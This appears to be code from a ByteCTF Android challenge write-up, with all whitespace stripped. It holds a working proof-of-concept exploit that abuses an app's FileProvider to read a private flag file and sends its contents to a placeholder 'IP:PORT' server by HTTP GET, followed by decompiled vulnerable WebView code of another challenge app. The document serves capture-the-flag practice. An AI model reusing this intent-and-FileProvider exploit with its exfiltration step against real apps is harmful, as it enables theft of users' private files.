publicvoidhttpGet(Stringmsg){newThread(newRunnable(){@Overridepublicvoidrun(){HttpURLConnectionconnection=null;BufferedReaderreader=null;try{URLurl=newURL("http://IP:PORT/flag?flag="+msg);connection=(HttpURLConnection)url.openConnection();connection.setRequestMethod("GET");connection.getInputStream();}catch(IOExceptione){e.printStackTrace();}}}).start();}@RequiresApi(api=Build.VERSION_CODES.Q)privateStringreadUri(Uriuri){InputStreaminputStream=null;try{ContentResolvercontentResolver=getContentResolver();inputStream=contentResolver.openInputStream(uri);if(inputStream!=null){byte[]buffer=newbyte[1024];intresult;Stringcontent="";while((result=inputStream.read(buffer))!=-1){content=content.concat(newString(buffer,0,result));}returncontent;}}catch(IOExceptione){Log.e("receiver","IOException when reading uri",e);}finally{if(inputStream!=null){try{inputStream.close();}catch(IOExceptione){Log.e("receiver","IOException when closing stream",e);}}}returnnull;}publicvoidpoc(){Intentnext=newIntent("ACTION_SHARET_TO_ME");next.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");UrimyUrl=Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag");next.setData(myUrl);next.setClipData(ClipData.newRawUri("",myUrl));next.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);startActivityForResult(next,0);}@OverrideprotectedvoidonActivityResult(intrequestCode,intresultCode,Intentdata){if(resultCode==-1){UrireturnUri=data.getData();httpGet(readUri(returnUri));}super.onActivityResult(requestCode,resultCode,data);}
packagecom.bytectf.silverdroid;importandroid.net.Uri;importandroid.os.Bundle;importandroid.util.Log;importandroid.webkit.WebResourceRequest;importandroid.webkit.WebResourceResponse;importandroid.webkit.WebView;importandroid.webkit.WebViewClient;importandroidx.appcompat.app.AppCompatActivity;importjava.io.File;importjava.io.FileInputStream;importjava.io.IOException;importjava.util.HashMap;publicclassMainActivityextendsAppCompatActivity{@Override// androidx.fragment.app.FragmentActivityprotectedvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);this.setContentView(0x7F0B001C);// layout:activity_mainUriuri0=this.getIntent().getData();if(uri0!=null){WebViewwebView=newWebView(this.getApplicationContext());webView.setWebViewClient(newWebViewClient(){@Override// android.webkit.WebViewClientpublicbooleanshouldOverrideUrlLoading(WebViewview,Stringurl){try{Uriuri0=Uri.parse(url);Log.e("Hint","Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");if(uri0.getScheme().equals("https")){return!uri0.getHost().endsWith(".myqcloud.com");}}catch(Exceptionunused_ex){return;}returntrue;}});webView.setWebViewClient(newWebViewClient(){@Override// android.webkit.WebViewClientpublicWebResourceResponseshouldInterceptRequest(WebViewview,WebResourceRequestrequest){FileInputStreaminputStream;Uriuri0=request.getUrl();if(uri0.getPath().startsWith("/local_cache/")){FilecacheFile=newFile(MainActivity.this.getCacheDir(),uri0.getLastPathSegment());if(cacheFile.exists()){try{inputStream=newFileInputStream(cacheFile);}catch(IOExceptionunused_ex){return;}HashMapheaders=newHashMap();headers.put("Access-Control-Allow-Origin","*");returnnewWebResourceResponse("text/html","utf-8",200,"OK",headers,inputStream);}}returnsuper.shouldInterceptRequest(view,request);}});this.setContentView(webView);webView.getSettings().setJavaScriptEnabled(true);webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url="+uri0);}}}